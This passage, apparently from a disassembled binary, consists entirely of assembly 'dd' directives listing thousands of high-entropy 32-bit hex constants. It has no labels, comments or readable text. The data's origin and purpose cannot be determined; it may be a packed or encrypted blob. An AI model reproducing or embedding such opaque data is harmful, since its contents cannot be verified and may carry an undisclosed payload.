0FD739F68h, 0CEC3591Ah, 0FC2FC775h, 0EB87259Ch, 13F6A1F0h dd 0E8E5C0D5h, 88A207A2h, 9EEE59ECh, 90E070A7h, 51464D42h dd 0D675A35Bh, 44BAE124h, 90FD931h, 0F1AF7831h, 8A4F6F38h dd 33AE109Eh, 0F644BB27h, 86C0F35Ah, 7853E681h, 0C110253Ah dd 18390E87h, 0E5DE9C20h, 59D99098h, 68D81329h, 255B3FAh dd 5C1685BAh, 28815D17h, 33785D68h, 0BB530103h, 31CE2F83h dd 0DA837265h, 1BF473BAh, 0C6838B09h, 0D2C94101h, 7A79BFAFh dd 1B0303CEh, 0E3E7E054h, 7F5C3335h, 6C81E10Ch, 7822A6Fh dd 0DFE241F7h, 0D0E6E242h, 9BC0B732h, 0C8B3EC41h, 9D0E6625h dd 0E797E8C6h, 15F131Ah, 0D65E3F31h, 0C7992064h, 674A501Dh dd 8460F689h, 0FC851BADh, 97C230F4h, 0C0A7F4Bh, 0CCC677A8h dd 9A62D616h, 0FDC14201h, 0C6C9EA1Bh, 0C99E2C58h, 88EFD6D2h dd 5F28DFC0h, 8380E7FCh, 0CB024EC3h, 0C22D4CCDh, 0CD374168h dd 0C9FC2476h, 0BCDE928Bh, 0F90F5E62h, 0E934B565h, 0C121C4B6h dd 83B4ECECh, 9B91027Dh, 3CE779DAh, 44DC964Dh, 0CB1DF82Dh dd 4C7812AFh, 8BD530B5h, 0CE45970Ch, 7CC5AB4Fh, 0F7E9C177h dd 8C282F5Fh, 0A39B531Fh, 7EBDE34Fh, 19C45F24h, 47A925CFh dd 938237BAh, 0DD01E5AAh, 462F74EDh, 197C295Bh, 0BF8B0840h dd 4FE9CA90h, 2C75059Dh, 0F612D384h, 50F10A0Bh, 72E915C6h dd 89835439h, 0C92F8BEAh, 2EFEEE2Dh, 0EBF01F46h, 6EE9AD30h dd 18204841h, 0B2114FB9h, 0AB169FCBh, 0CA3F96F1h, 0C6E98249h dd 0FA1694C2h, 0C8BA5BCFh, 0F14BF632h, 0E7679FF5h, 2BCAA625h dd 1985B7BAh, 2F2DA864h, 0BFAFD133h, 4684E44Ch, 58991E9Ah dd 0CEE8C05Ch, 81E895A6h, 66B5ED29h, 0FEED8C08h, 3235B9E7h dd 0F4E15758h, 0A11568E6h, 0F405C78Ch, 100CF500h, 0C6E956Bh dd 689413E5h, 4FE5B893h, 634C65B3h, 53A1D730h, 0DDE0DBB3h dd 429776F6h, 0B510724Dh, 1B610B9Ah, 3D7C2C52h, 49275F5Dh dd 58C2B2CFh, 0CAF461B1h, 0B6D8DCE4h, 218540D0h, 5A4C0F08h dd 29074050h, 0D35EF227h, 0F0C20186h, 203E52D4h, 0EEE4D545h dd 0AC40F2B8h, 9BF0B7B9h, 6B499F4Ch, 0CBDAAE90h, 0E1DAE005h dd 986F1D7Eh, 1AF18D6Ch, 2C61250Dh, 0C26AE191h, 0C221B74Dh dd 31273B28h, 393DA860h, 38525E80h, 0ED3ADDBAh, 0C1F28181h dd 9D10E379h, 0E82180Ch, 77D60142h, 510FF4A0h, 455B703Fh dd 0E806CDB0h, 81C55AE9h, 0DCD4F657h, 0C9B4DC30h, 5BAA6870h dd 940353Dh, 47505D55h, 4098EDA0h, 0FF69C1ECh, 94A20103h dd 75715074h, 0F776DFF5h, 6D09C425h, 0D8C998D9h, 0BD0A4971h dd 0AE30CE45h, 4DEEBD34h, 6861E7BCh, 8A7B5111h, 0E22A7C94h dd 0B0D25E5Eh, 0CD810040h, 4C3D2876h, 9637487Eh, 0DD0C2C32h dd 4BDB4A1Fh, 483EA1Dh, 0B40111A8h, 8020C84h, 645B37E9h dd 0AA9C2EFDh, 0CF8181DEh, 2B1E08A3h, 0D7DCD900h, 322166B6h dd 45525FFAh, 0E6636A61h, 0FB1CB5C0h, 78EB8080h, 0E1854E4Ah dd 20623AB5h, 0A9C1E2DAh, 261F9CB3h, 4FF5056h, 825E7CB5h dd 1F543227h, 81609626h, 250E5BC7h, 0C15A703Eh, 16DF0882h dd 6E3C4132h, 0B5FA5398h, 7B164A09h, 4F6B3690h, 3126C013h dd 0E52DC101h, 20796602h, 0FE3FED57h, 90503003h, 100A3E3Fh dd 40EF016Eh, 9526E908h, 1C4A020Fh, 64B7297h, 0D574701h dd 31210519h, 0B88CCE0Eh, 0CE994D48h, 0D8F45C47h, 0FBB546FCh dd 0E8D3B75Ch, 0DE38C992h, 0B592F66h, 0ADC55649h, 0FE386140h dd 8BA1702h, 61F4BBEAh, 3BAC258Ch, 603B37DCh, 46165EE6h dd 1877B5Ch, 36C5B5FEh, 9CAD0E9h, 400202Fh, 21CA4AC4h dd 0E1C8CE64h, 5F023ED0h, 281A6F91h, 1DF41D8Bh, 9F66662Fh dd 46207164h, 305C2C97h, 0B472420Ah, 8020165Dh, 9740A6F0h dd 5872ED4Ch, 1E1E1150h, 925951CCh, 0A398BFE7h, 98BD52CAh dd 0B43E36A2h, 25B8C83Eh, 0E5C97BD9h, 315C0578h, 0A08994C3h dd 0AF9E717Dh, 47CDE9C1h, 61C28000h, 9192B7F0h, 25FC3517h dd 4FB336A0h, 324D419Bh, 7E1C925Bh, 809ECD4h, 43A4DC5Eh dd 35C32773h, 3988EBB0h, 0EA4F2025h, 0DB080A80h, 4A04B010h dd 0FA08E2C1h, 807F2B40h, 97210B7Ch, 42B7F46Ch, 96AB2C1Eh dd 0C0ABD2EDh, 5F97CB59h, 4B328212h, 5CE9FE80h, 0C58DA845h dd 482604F9h, 0AC6C01D0h, 8EE909EBh, 4FA754B5h, 0D012D904h dd 0D475F9D7h, 11C27B48h, 0B35E063Dh, 0C427933Dh, 78F8F0A5h dd 68AA80D3h, 84824CEFh, 0E8124D0Dh, 2BD840EBh, 70AA722Ch dd 0D25B98BAh, 0B1CF58DAh, 1368A424h, 53F7609Fh, 4265A168h dd 7A934E57h, 64C71828h, 0EB8810B1h, 0D8D3F63Ch, 687444C5h dd 1531E42Ch, 0F5BB5360h, 727A006Dh, 1607E381h, 0F3EC36A0h dd 67271B0Ah, 0BE02DD74h, 761E9112h, 25822C26h, 8B92580h dd 494B0168h, 0B3449097h, 0A51B31BFh, 86213D95h, 622AE883h dd 0DA309BBAh, 0D32663F6h, 5426D709h, 2EA7C264h, 80BBB101h dd 0C1CCA0E1h, 9D5BFAEDh, 0FA7C0B09h, 720B8BCFh, 0F53723Dh dd 0CB8835B1h, 71ABE289h, 790E99Eh, 5BF58497h, 0EE2D34FFh dd 93A5B634h, 0DA3B22DAh, 5CD16802h, 5051CEBDh, 1195507Fh dd 9F35583Eh, 0E943ECC3h, 465EF7A2h, 218A2480h, 860B5827h dd 612FA604h, 0D718C67Ah, 1D8F665Ch, 8C6448A4h, 6666041Eh dd 9D2AA0BAh, 44887B49h, 4A53ACC8h, 7485A235h, 0B923902h dd 2A864256h, 0B302A5D2h, 405E0C4Ah, 58C56EE0h, 0B7129EFAh dd 0EF6CE456h, 3EDFFB3Eh, 0E421137Dh, 0CA1146D2h, 2E9655C5h dd 1784E49Dh, 61361968h, 23F6A829h, 89592F9Eh, 2C5FF38Eh dd 311502CBh, 714859E9h, 76EEC601h, 49F3385Bh, 5F236813h dd 40C892E8h, 3297BD93h, 649E1D92h, 0CEE28100h, 3935F036h dd 364BF1E9h, 2DE742BCh, 0E2189471h, 0EF2002EEh, 7B5B5402h dd 0B0291ABh, 0E6C403E9h, 5A162F04h, 107392A7h, 0F2217A19h dd 595AEAFAh, 0A62373F4h, 2C536093h, 5C271E84h, 0D0097CB0h dd 0E20BF143h, 0BA8B60A9h, 85F4582Ch, 75A4DA10h, 0AC593F6h dd 0BBE92D5Ah, 45E8765h, 10AA3EDAh, 6EA34ED9h, 28342F7Dh dd 2DC1C293h, 0E7DB8148h, 39FE53BFh, 0EC8C0620h, 0E4195ADAh dd 8494F6DDh, 84D83109h, 271DF267h, 5B4D7C59h, 68E15E40h dd 316A4A28h, 6AEA6D61h, 685D1230h, 0EF99B580h, 9B5751B9h dd 0AAEC0532h, 0C0CED139h, 0BBA43A34h, 5AD73112h, 0F14E94A8h dd 844F7D07h, 931FBCC8h dd 0A18901D5h, 0BF3D4805h, 0FBC6B52Ch, 170D2BBEh, 75D954E7h dd 772B443Bh, 15E9615Ah, 4041092Eh, 0BF07E145h, 0C6529068h dd 82ABF705h, 0BBC73D04h, 58AE9832h, 0C1645AA8h, 92EFBAh dd 95059968h, 0EBA82B65h, 0B422CA12h, 54955840h, 9F012B1Bh dd 32085A88h, 0AE0F53F6h, 4E1FE4C2h, 157A28BFh, 4A60EFAAh dd 60A47E41h, 5A462D03h, 2829BB38h, 13C0310Bh, 0BCF79DE9h dd 98FCD2E9h, 0D16B4A7Ch, 0D6AF371h, 5A8B043Ch, 0E301345Ah dd 0E9493865h, 0F22AD819h, 71AC2703h, 5854805Ah, 758B6857h dd 5F713702h, 8102EFC1h, 4DDD5EDDh, 0F9F86670h, 0CED8046Bh dd 86BF00D2h, 0B0117840h, 5FE4A8A9h, 0F7FA1A87h, 0A0D708D7h dd 163C2F6h, 0E9F80B44h, 0FC4935Fh, 0E04CAAF0h, 1AE940Eh dd 466208B8h, 0D5FDDFF7h, 0F882176Bh, 37064B46h, 0C43FF031h dd 13B1238Eh, 99116C31h, 5323327Ah, 494AC163h, 0E8F55DB9h dd 0E6B9C480h, 0A7FFA457h, 0E84939F6h, 204E161Fh, 704AE09Ah dd 3ABD551Dh, 6F8E0B1Fh, 448FF501h, 0C987982h, 0E95EC6A7h dd 0BB148C25h, 6A49DA7Dh, 4A0082D7h, 3467572Dh, 0A3AF842Dh dd 3C917B21h, 8AA993FDh, 8BB0F85h, 58806714h, 41982540h dd 0FB127C5Ch, 0A1B39B74h, 0F8E54E92h, 4057406Ah, 9E28CB6h dd 4858C32Eh, 4A97C42Fh, 0EDC5B1B4h, 4C272C30h, 31FE390Dh dd 42D5E4F5h, 0A44F6B79h, 979E5496h, 201CB800h, 48C14E0Ah dd 0D7342E6h, 63C01779h, 0EEE22012h, 495FC0Fh, 5FEAE920h dd 3D58CBACh, 0BFC33180h, 0B54E8F14h, 8002D880h, 205425F5h dd 8D9BEA9h, 0A365509Fh, 4F279435h, 0E00A8543h, 0FF65BA70h dd 0C6C32903h, 9AC28D43h, 0D79677F0h, 0CE70C29Ch, 40BA9550h dd 0A3F8EBC0h, 89FF46D1h, 59ED1851h, 58CB5201h, 92A2444Fh dd 5D8D139Ch, 0C2A69645h, 0E5F2A55Fh, 0E2420247h, 80B87498h dd 4A506DC5h, 949F5F34h, 481DA4EEh, 4B851C21h, 8762BE90h dd 56C5D54h, 0BB1269B3h, 28F26831h, 9D963E08h, 5EF70105h dd 9840178Bh, 12944D4Bh, 0D9683376h, 0D4EAEA31h, 0E99E2D0h dd 0C50346C0h, 0F7A99A6Ah, 0B0B0817Bh, 0B75300DBh, 8FC1B594h dd 87922AA0h, 24E6FABEh, 5CE5FFDh, 80829211h, 5386EB3Fh dd 4A5B8527h, 5D0804F7h, 12D1C8BAh, 0CA2B5081h, 0D22E5CD2h dd 81F68194h, 1B1AD02Fh, 95C7EE10h, 1C987782h, 0FAFBEF29h dd 0C7809EA9h, 7A321ACAh, 0ADF3873Eh, 59B98154h, 82E3DBF6h dd 839756F7h, 43186D3Bh, 6E2AF1B0h, 4C603Eh, 668575E9h dd 4BCB29F6h, 0D50F8259h, 30DE7C0Fh, 108F520Dh, 0BD5AF3D8h dd 0C380CFC0h, 0E328B203h, 5BC53DE9h, 2AAF320h, 0CC68F9F7h dd 62C7744Ah, 0A36BA19Ch, 4A06F1ECh, 50012513h, 40D4B02Dh dd 60B78996h, 1484552h, 0AC25732Fh, 60385C51h, 5B9592B2h dd 5029190Ch, 0E4BC305Bh, 4D2F7716h, 992502CBh, 0C527255Ah dd 68BCB002h, 0CEC9B7CDh, 882997F9h, 0F8289305h, 0C330A680h dd 4B87B50h, 0E922616Ah, 0CDA888C9h, 0C020B502h, 40D5F769h dd 3262B326h, 0ACD489C2h, 0D7625B07h, 6F3275CFh, 7BB3BD41h dd 3296C91h, 12A3BF00h, 16B1509h, 4B2CD9FDh, 0D1178BFEh dd 0A808D1C7h, 2D00EF99h, 36261E58h, 3317017Ch, 267A29A6h dd 976CA9FCh, 343413D5h, 68DA44E9h, 7BB800F4h, 2506E407h dd 8A2C289h, 18F56A6Bh, 0BFCE1A7Bh, 0EA4FA466h, 5825CDB7h dd 0AD5CF6E2h, 2CFDF153h, 802EE32Eh, 0AD208EB9h, 0C0095E5Eh dd 433CC2D2h, 6055CE2Fh, 2C8BC0D8h, 82C952D5h, 6CAD0CB2h dd 0E2D5116h, 47C38E93h, 831EBFE1h, 7CD11C39h, 17627D91h dd 0EE2C16C0h, 9313527Ah, 9651B249h, 0BA107B2Dh, 0EBAF408Dh dd 47F8C24Ah, 0A42614B2h, 1451972Dh, 0FB8D94E2h, 0DA68848Ah dd 0E4D0E872h, 0D9B8C440h, 4C583A5Eh, 0AE011348h, 2917812Ch dd 62CC2FD8h, 0AD3730E9h, 1A09C161h, 0C1D0530h, 16176985h dd 4047E949h, 61762D32h, 46D42907h, 0E9084036h, 36131D4Fh dd 2D0E39F8h, 0BB60735Bh, 0D28CA4D5h, 2E0070B4h, 0FB016743h dd 0B594F4E9h, 0C75E012Bh, 28936805h, 0E44EC3A2h, 99D55F2h dd 0A0E3E67Eh, 1C0A62EFh, 7F4D0FDBh, 0F5A4C502h, 0EA85F024h dd 4C0BA3C2h, 2AD09C80h, 4ED680Ah, 88EEA335h, 0E02D1427h dd 974ADE81h, 57D41212h, 829E7A27h, 0D8282EAh, 2A51196Bh dd 663F71A2h, 0EF23F294h, 341FB9C3h, 4E5E2DE0h, 0F6A129F8h dd 590F9805h, 0FA7D0B0Ch, 2740B801h, 0B3914Bh, 7FD685D1h dd 61FF9D74h, 224F50B2h, 403CC45Bh, 4AE6BB00h, 0D13E39A3h dd 425D25EBh, 0D8C46B6Dh, 241DAF01h, 811E7C1h, 0BE01F892h dd 13DF27C8h, 1DEECF70h, 0BA6D3111h, 0E299D182h, 405751FDh dd 0E204F01h, 6FC15E59h, 0A3E902A2h, 112FF50h, 0DE1258C2h dd 0E868BA20h, 0A512B178h, 5A1369F3h, 0FA3F0F9h, 0FC75925Ah dd 0D84EBA09h, 5A285CC3h, 98BF184h, 2486745Ah, 0B0DF524Ch dd 9BD1F173h, 2C70B62h, 2F7F3A9Ah, 668B6929h, 84336FD5h dd 0E7A2818Bh, 7C40F329h, 0D725181Bh, 2CA6E509h, 2612103Ch dd 8737BF5Eh, 54C9F3B2h, 448E626Ah, 69253779h, 0A79D455Fh dd 0CFDCE5C1h, 2A4A9403h, 85EDB062h, 54FB2FE0h, 9BC9E1E2h dd 3AD46565h, 232B486h, 5AF25C8Ch, 0BD58FD87h, 63E7AB6Bh dd 0B752F03Ah, 5AF17D9Ch, 134D1296h, 0B5BFF820h, 49E9EA87h dd 0E2CAD6FCh, 77B241EDh, 0C33F8F3Dh, 69E2398Fh, 0F3C99764h dd 0F05F2562h, 2D30E890h, 80FA4A67h, 5144EA04h, 1C801B96h dd 4C7E6DC8h, 0D24AD4Fh, 685761E2h, 5E2ED0DFh, 0E7D15F16h dd 187642ACh, 0C308B23h, 1804A2E2h, 26ADE913h, 3C88E2B6h dd 0C2A68E1h, 1312CB6Bh, 35BDF701h, 0BB247E8Bh, 5E84BE5Ah dd 0B0C100B8h, 7FAAE9BEh, 0DD58850Ah, 8A49051Eh, 85A3F630h dd 0C7835EF5h, 2748C24Ah, 7832CD4h, 0D918945Ch, 373A494Fh dd 0F1EAE289h, 5869B45Ch, 0B5507C1Ch, 6CA17EE6h, 0D2342DE1h dd 7B15A500h, 0B84D5003h, 0F40CA023h, 84F262Bh, 6B5D05F3h dd 90B7C1A2h, 5A6600D8h, 4CD72D68h, 0E4305598h, 81091FD2h dd 0E1EF702Fh, 0B42DC930h, 0D83101D8h, 4D7C9668h, 0D075FCA7h dd 6B88FCBEh, 0B912CB8h, 0D35C0178h, 3057F0C9h, 5FD2D1A0h dd 331DAC2Dh, 0E1407C27h, 1794508h, 70551F8h, 12017F31h dd 0FCEE0CE9h, 47FC83B4h, 0E40153EAh, 7EA405E0h, 69F4E181h dd 0C246F23h, 76836822h, 50D6500h, 3FE91328h, 59C020A7h dd 9902278Ch, 3231B850h, 0EBDD8272h, 95F22713h, 0FE0BAF20h dd 619E4AEDh, 0BB00F66Bh, 4FE2F47h, 6A30A09Fh, 2474D92Eh dd 180EBC1h, 3525A8E3h, 28C8FF64h, 0E812AA8Ah, 2684B6E9h dd 4B5E8AAAh, 842AE58Dh, 0AB8BBA73h, 82E3AC4Ah, 7D129CE9h dd 6B570E1Ah, 21C6ECFCh, 129890Ah, 3A8FD307h, 6ABF1004h dd 0D080540Fh, 305CFACFh, 770C14BCh, 0C2E0757h, 94A0F4D1h dd 9F78501h, 0A788E9FAh, 0BD26B372h, 6855829Ah, 0F5542897h dd 773BC862h, 68A6B94h, 0F5163140h, 9906C8BDh, 0DE41C543h dd 7329F85Bh, 2C62F5F9h, 20814517h, 2AD617B4h, 626050DDh dd 0B71B185Ch, 6E79B823h, 56193907h, 0FAF0EFBEh, 12F70965h dd 0C8F403E9h, 0B6125C7Dh, 6FA83080h, 83E744B7h, 0BCA52C86h dd 4152A2B7h, 368449Ah, 0D4BBE8A4h, 97B820E1h, 3566BD00h dd 24C041FCh, 5DD229AAh, 0B9CB4B68h, 62FA810Eh, 1073B20h dd 2027691Dh, 112ED94Ch dd 980928F4h, 0E440932Dh, 0F4EB9C0h, 323A7ED9h, 5D72A8D3h dd 866F7CD6h, 0B19D29Ah, 205F8959h, 0B757E0C8h, 224BC6A4h dd 0EA2724BDh, 0B44DBCC4h, 12553B81h, 92E31F69h, 3C56FD04h dd 1647AC30h, 9C2D5D0Ch, 0DE7A7D22h, 4D47C324h, 72240DEDh dd 98BABD19h, 0E37D87F7h, 2D1A126Ch, 5CA10E3Ah, 11808C2h dd 8B871041h, 0C517E6B7h, 1A7BA764h, 0CE6AB302h, 3E33E14Ah dd 0FABE7834h, 0CC111636h, 89790931h, 0E984D365h, 0D8AF0921h dd 124AABA2h, 6196A8E9h, 2C35E967h, 0B592D4Eh, 0F2037695h dd 6CCDF87Ah, 2D7AFD79h, 7BA72BF9h, 0ABC9D935h, 63847C35h dd 0BE00B0ACh, 40092011h, 0FF8F301h, 28249DB2h, 291759C5h dd 832263F3h, 0EC20FA90h, 0A7BA0132h, 295A2634h, 9729BFD3h dd 4652DEEDh, 4903D701h, 522E2C5Dh, 0C82EAEE7h, 6A751811h dd 0DE03DB54h, 0B42B623Bh, 8A7801ABh, 54074C63h, 6707189Eh dd 2B5B52E9h, 5A2676E3h, 4AFEA104h, 277824Dh, 58C247ABh dd 0ED80F35Eh, 921539F9h, 0C0E84A01h, 3DCC688Bh, 6549369Eh dd 0DF0E0B73h, 0EA83665Eh, 2859D50Ah, 0B06E64Ch, 636A1DEEh dd 41B25A02h, 5066810Fh, 0A62E6D68h, 0AE10147Bh, 286C0427h dd 0C10140B9h, 802DB062h, 6358880Ch, 0E131E97Bh, 8336D87Fh dd 1402C027h, 10199922h, 68668158h, 7CD21DD8h, 0C1764F97h dd 3FCA3190h, 0D2C0F182h, 0C1CD05CEh, 0C00AA46Ah, 7B652A2Ah dd 0A80C3D67h, 316064F0h, 895D12E8h, 27C1B6C3h, 88D71C2h dd 8004D866h, 44AB4FEDh, 133EF343h, 29441DCDh, 5136ED17h dd 6988B407h, 0A341177h, 0BB81157Ah, 0F7704592h, 4B28E8D7h dd 86D162A9h, 4B4F048h, 123BADCDh, 294308h, 0F643B753h dd 0EF0780DFh, 5BFD282Eh, 7E59EB02h, 65AA2099h, 0BEFAE8B8h dd 67222341h, 1EE90BD2h, 0F04BE068h, 0F04A0139h, 59873732h dd 432BA488h, 87277C8Ah, 55B202CEh, 92995E54h, 5F29E833h dd 5C3AD1CCh, 8C808B23h, 29DE75F7h, 0C32DD67Dh, 0CB06D12Bh dd 4925D344h, 16A2E4F9h, 1447EABEh, 0B55B3CC2h, 870C807Fh dd 29418446h, 51B8F5h, 72C97CCBh, 5B7F9225h, 2CA5950h dd 4F224858h, 3AA91F85h, 13C74C8Ah, 550E9259h, 97CE75Dh dd 5A5ABBE9h, 5159CF0Bh, 0BA730457h, 58A59CAFh, 8E5B42B0h dd 5FF73FC2h, 3C2212E9h, 0CF680B21h, 201C660Bh, 0AC09F635h dd 574CB151h, 3B1B1222h, 86891A6Ch, 2DABF079h, 0E905E897h dd 85EE96B7h, 815355E2h, 59B2B25h, 42F47C16h, 37C4B55Bh dd 0CFB04C30h, 0BB53F0h, 6CB87C3Eh, 576F492Dh, 0D8291105h dd 0AFB002E9h, 0BFF07288h, 8B5BE5E0h, 806B0189h, 0C9451113h dd 4E32267Eh, 66EE79C1h, 0C0DCF64Fh, 685AD56Fh, 28BB41A4h dd 832AD20Eh, 0D48FE927h, 821624FBh, 0B9720910h, 0EF843827h dd 836809C4h, 0C72FEDDEh, 565F097Ch, 0D63CB1DDh, 0BFC7E430h dd 700129C9h, 29B7CAC2h, 8FF540Eh, 0D92F83FBh, 0E2954AB0h dd 0A1704BE9h, 35D4E1EAh, 0F8A38F20h, 0B702EC11h, 558EC3AEh dd 456CBDCFh, 5DFAE814h, 0F62B70FFh, 29375B7Eh, 0A03810C3h dd 0ABFB2035h, 45FD8713h, 0DF298101h, 457A8CC2h, 0ACA8541Fh dd 45A090B6h, 572C808Eh, 1284940h, 5277FAEBh, 0E55ADB90h dd 0D743F608h, 0AD29E0FDh, 0F69C4DECh, 1E746800h, 0C5E2893h dd 0EE83DEF7h, 0D0ABF3F2h, 0A8BADAD3h, 7F5CE249h, 0DA033DD3h dd 2DD4DEBCh, 2472C44h, 1002E25Bh, 0C000FB44h, 0D0F602E0h dd 10BB353h, 865BD828h, 0ED639549h, 0CADE8C1h, 3F061A69h dd 6A06512h, 156500DAh, 85EA8128h, 5009385Eh, 71E614E9h dd 0C00C0865h, 807AD01Fh, 0C9FE02E1h, 0EF86D9F6h, 1F3D5290h dd 9E79CE80h, 0B6D601C6h, 8F5F6583h, 5EA95872h, 86406218h dd 5BDF3101h, 0D186032Eh, 0EC6F7E7h, 481063Dh, 0A1E59EC4h dd 0D19E1CABh, 17004CD0h, 0B12C754Fh, 0F66BF58h, 8D55B790h dd 20AB35F5h, 89BD187Bh, 89EC51B1h, 0F77C62E9h, 805A3726h dd 4805840Bh, 0BD89777h, 3FF9CCDh, 7BE30C80h, 0F9E9FC6Ah dd 581AA39Ch, 0EC9840EBh, 2ED53E7Ah, 2029F5A6h, 0EB8BBD08h dd 989DB994h, 0B7E1F6E8h, 15DF26A9h, 102C109Ah, 803B8BC2h dd 0CB286407h, 8AEB6259h, 0AE8D0249h, 10C95434h, 0AADEE90Bh dd 4DB480F7h, 9D420A18h, 770B64D3h, 0FD5D9A3Fh, 9C7037A2h dd 8840B500h, 0EB3AA3E8h, 0CCBACCD5h, 0F4400725h, 20579201h dd 954CEAD1h, 9B4827CFh, 85C4FC43h, 70F91F22h, 0DBC7B797h dd 0DB016BA8h, 0E91E3F25h, 6C7C0C41h, 573630C1h, 0E31B3070h dd 331A097Ch, 0AEECB01h, 0D5105E08h, 62D52D26h, 1CD72F16h dd 0F9C5B78Fh, 813471A7h, 3251C2Dh, 5F29477h, 508B4A07h dd 5923359h, 123B68B8h, 0C124BB61h, 0A258D731h, 3F01396Bh dd 26900089h, 0C98100EFh, 7305033Eh, 90D171F7h, 9780B0E0h dd 0C057EF1Ah, 97378530h, 4921C3A2h, 0F0E5165Fh, 500394DAh dd 0F1966851h, 2D63CA4Dh, 0F0E2E985h, 0CF6BFEF7h, 0DBDB0004h dd 0EC5BFC28h, 0A09C4EF4h, 0E9185AACh, 0C2C38456h, 5E17122Fh dd 0A95CAE5Bh, 48F577C1h, 0E10529D2h, 92D92071h, 0BBB53B39h dd 0F6E90931h, 70DC5424h, 72499068h, 109CCB84h, 17FCC30Ah dd 0BCF7C9B0h, 0DD88346Ah, 3B7904BBh, 856794B6h, 182CFA52h dd 0C8B70B0Fh, 607B6E68h, 3A805D0Dh, 0B7589573h, 74366882h dd 57136C5Bh, 41452EABh, 6FD95DC5h, 73689BCDh, 7822BE00h dd 0EEC16EA3h, 814E0300h, 0D46F02F6h, 0D68BB70Dh, 0CAF88850h dd 735A2B1Fh, 24BCDE30h, 7B29E84Dh, 402D04D0h, 0BC552106h dd 0A2D1B30Fh, 1E10DEF8h, 0FF60B17h, 465ADABAh, 66D5DBA0h dd 70745327h, 0BFE29F32h, 0E9020A0Fh, 74F89Dh, 8C3299BBh dd 0A72E5D0Eh, 0B7494FAEh, 0BD11D1B8h, 2B191287h, 0E086901h dd 9F932808h, 0FE623553h, 6647755Fh, 0F197B2AAh, 50316A5Fh dd 0C35A85E9h, 4F687F88h, 239E45FAh, 6F3FA415h, 0E09F9DE2h dd 4E49181Ah, 6186BCBBh, 98D4E904h, 1F6E44AFh, 3E555833h dd 7FDBB85Ch, 9F3ABE89h, 3AA20B4Ch, 0F1C87FC2h, 0AF5E2A02h dd 522946D2h, 46F324BFh, 355EC250h, 9FF51CD5h, 0B525756Ch dd 9C928Eh, 91ECA0AEh, 0A2D09576h, 77D70506h, 1A425DFh dd 6717FF8h, 3559C829h, 0E90A0189h, 9A0E7A12h, 0ED003242h dd 0E5C2140Ch, 7FD34189h, 7807A740h, 5BE92931h, 5847B38Ah dd 19CA17EFh, 0DED3E1C8h, 3EA6C906h, 0CAD89B7Dh, 96D958A5h dd 0B1E29CAh, 0B283C884h, 0D74F7E8Eh, 0CB8A7C12h, 4EE8AC4Ah dd 9392ADC0h, 0EAD373F7h, 59522551h, 81057346h, 0C5EB41F1h dd 4601D6E8h, 29235A4Dh, 16D5FBCFh, 0C33E2C08h, 8B49E935h dd 0F9F962FBh, 0D811C104h, 0EA85F013h, 0DAB9EE70h, 88C2839h dd 61E64BD4h, 123CD321h, 0FB778717h, 30A12274h, 0BF3D376Bh dd 0B6A7C2D2h, 0AD91615Dh, 5BB7F23Eh, 20D305F2h, 6EE95745h dd 2A289BBEh, 761A391Dh, 1D6A0D47h, 7A2D2080h, 0A3AFB81Fh dd 5967E07Ch, 476A9D56h, 88770809h, 142581C8h, 2CE500FEh dd 0E681473Eh, 614867EFh, 0BDF60420h, 6FD0C807h, 5A1D79FBh dd 0A157A03Ah, 54D67BB2h, 56BF6A94h, 0BC8C897Ch, 0E96D62D6h dd 0D27DF060h, 0B34BFE96h, 579C115Dh, 2D527020h, 0A6E1CE65h dd 890D8156h, 8606E9CFh, 0CAB9287Fh, 133BC041h, 1860B226h dd 0B2187FF1h, 0C2800395h, 51EA28B5h, 0DDF637A0h, 0E9CDFE1Eh dd 25E3A057h, 5F3E4548h dd 0F8113A12h, 7DF4D05Ch, 0B8402DF8h, 335177ADh, 0D77DE762h dd 8FDACFF1h, 0E70EC5A1h, 0ED601F7Eh, 4CF1715Eh, 48062812h dd 2443B545h, 5672C70Fh, 3E09322Ch, 0C71520Eh, 7FE1321Ch dd 5910C730h, 99013045h, 31D2BCFDh, 9B7B30E8h, 0A47733B7h dd 0B4D372A8h, 0C632E974h, 62092AD3h, 3AADC030h, 0A47A2610h dd 7EAF0736h, 8729754Eh, 0F48654CEh, 4508E166h, 0A931595Eh dd 5EA26BAFh, 5805A352h, 300C76C2h, 8B0473A1h, 0C593E97Fh dd 0D2B740FCh, 0BD46AA07h, 1A8CB480h, 0EF205995h, 8AD6B6E4h dd 3AF65105h, 90F043C1h, 0F78DF23Ch, 2E16ED36h, 0CA810912h dd 0DA76DC25h, 0B9E2125Ah, 1F68F0A7h, 0E6FA438h, 104E4BBDh dd 170A9974h, 0D7010Bh, 7621CEEBh, 0CB68290Fh, 590F084Ch dd 0F77E89E9h, 0C4D0A030h, 45015299h, 4F1CCE0Eh, 7B3C34F1h dd 0A4DA2D25h, 92DD9DA1h, 5B245C14h, 1822BD6h, 18364498h dd 65D5E956h, 0B1CF6F4Dh, 0C219345Bh, 0E455A857h, 0B408F0E8h dd 0FB9016Bh, 0E9257D39h, 7FDF6CC7h, 617B9F29h, 0BA54510Eh dd 0E32C510Ah, 3F2787E9h, 47A9A58Bh, 0BC4477CDh, 7E5D29BBh dd 0FA6DBE29h, 242B8C10h, 510C8721h, 4B526701h, 90AE37Bh dd 0D0F55D54h, 4A5005BBh, 0BC2955F4h, 440C2707h, 0DC2B797h dd 0BFFE457Fh, 478F167Ch, 0C4E56540h, 80A26427h, 3B39A385h dd 2ABD4604h, 26C2D68Ch, 3D0557AFh, 0A43CE85Eh, 0FC53D404h dd 0E07AA12h, 699F5701h, 355820DBh, 48B02A87h, 45131D0Eh dd 0A29B90FDh, 1F600272h, 1B40870Ch, 58E7F848h, 342E4085h dd 0B763F73h, 0C7290480h, 0CAB1B802h, 4EB4105h, 13C932FCh dd 2678B0B8h, 0C52BE50Eh, 0A288E853h, 5E0689EBh, 105D5A1Fh dd 9D0B6974h, 7769B2D1h, 0E912B51Ch, 8220B93Bh, 60BC3874h dd 5548D075h, 0F7EC3680h, 0DC6DC50Bh, 9C65E0Ah, 0B6D32D3Fh dd 4F03E0A7h, 0A94CD37Ah, 8580A401h, 0A88A68E9h, 7D46F7A8h dd 29EC1285h, 525242F8h, 0FD56D8E9h, 9722C0Eh, 859504D0h dd 16C78000h, 0EFEAF728h, 12F542EBh, 294FB177h, 0DD018A21h dd 0A73ED2Bh, 3AFB6809h, 4EBFD796h, 73504955h, 78DA94Bh dd 35D3C63h, 0A9B8C0D4h, 0DE06809h, 0B7A3BE57h, 59AF8F65h dd 98496F9Dh, 873E115Fh, 88522B87h, 3204EBFAh, 7BA95007h dd 31E9D43Ah, 4D10F71Ah, 3E58F94Bh, 